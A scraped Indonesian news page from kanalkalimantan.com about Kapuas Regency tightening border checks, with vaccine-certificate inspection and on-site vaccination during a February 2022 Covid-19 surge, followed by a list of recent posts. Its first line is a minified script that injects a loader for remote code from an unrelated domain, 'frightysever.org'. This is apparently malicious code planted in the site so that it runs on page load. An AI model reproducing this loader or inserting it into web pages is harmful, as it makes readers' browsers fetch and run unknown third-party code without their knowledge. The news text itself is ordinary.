(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Antisipasi Lonjakan Covid-19, Kapuas Perketat Perbatasan Kalteng-Kalsel


KANALKALIMANTAN. COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat bersama Forkompimda menyatakan siap berjuang melawan pandemi Covid-19 di Kabupaten Kapuas.

Menindaklanjuti arahan dari Presiden RI Joko Widodo dan arahan Gubernur Kalimantan Tengah H Sugianto Sabran.
Hal tersebut dinyatakan Bupati Kapuas saat mengikuti rapat koordinasi perkembangan kasus Covid-19 dan upaya penanganan dan pencegahan yang digelar Gubernur Kalteng sebelum mendengarkan arahan dari Presiden RI Joko Widodo via zoom meeting, Selasa (8/2/2022).

Ben Brahim S Bahat melaporkan, Pemerintah Kabupaten Kapuas bersama TNI/Polri sudah melakukan upaya perketat perbatasan Provinsi Kalteng dan Provinsi Kalsel, dengan membentuk pos penjagaan di UPT Jembatan Timbang, Anjir Serapat, Kecamatan Kapuas Timur, sejak 6 Februari 2022.

“Di sana dilakukan pemeriksaan sertifikat vaksin, apabila belum vaksin, maka disediakan untuk vaksinasi di tempat,” ucap Ben Brahim.

 

Baca juga : Tiga Meninggal Dunia di Banjarbaru, Disebut Komorbid dan Belum Divaksin

Sesuai arahan Presiden, Pemerintah Kabupaten Kapuas akan terus mendorong percepatan vaksinasi dan mengedukasi masyarakat untuk melakukan protokol Kesehatan.

“Kami bersama-sama Kapolres, Dandim dan juga jajaran Pemkab berjuang bagaimana pandemi Covid-19 ini cepat berlalu dari Kalimantan Tengah,” tegas Ben Brahim.

Presiden RI dalam arahannya mengatakan, dua hal yang perlu mendapatkan perhatian khusus dari para kepada daerah bersama jajaran Forkopimda.

“Vaksinasi untuk Lansia dipercepat karena kunci penanganan Omicron ini ada dua; vaksinasi dipercepat, kemudian meningkatkan kembali protokol kesehatan utamanya masker harus digalakkan lagi,” terangnya.

 

Baca juga : HUT ke-2 JMSI, Hadir Menjaga Marwah Pers di Tanah Air

Dirinya menandaskan untuk menjaga agar kapasitas rumah sakit tidak penuh dalam lonjakan kasus, pasien yang ringan dan tanpa gejala, lebih prioritas masuk ke isolasi terpadu atau isolasi mandiri. Sementara untuk rumsah sakit hanya diperuntukan bagi yang bergejala sedang, berat, dan kritis. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.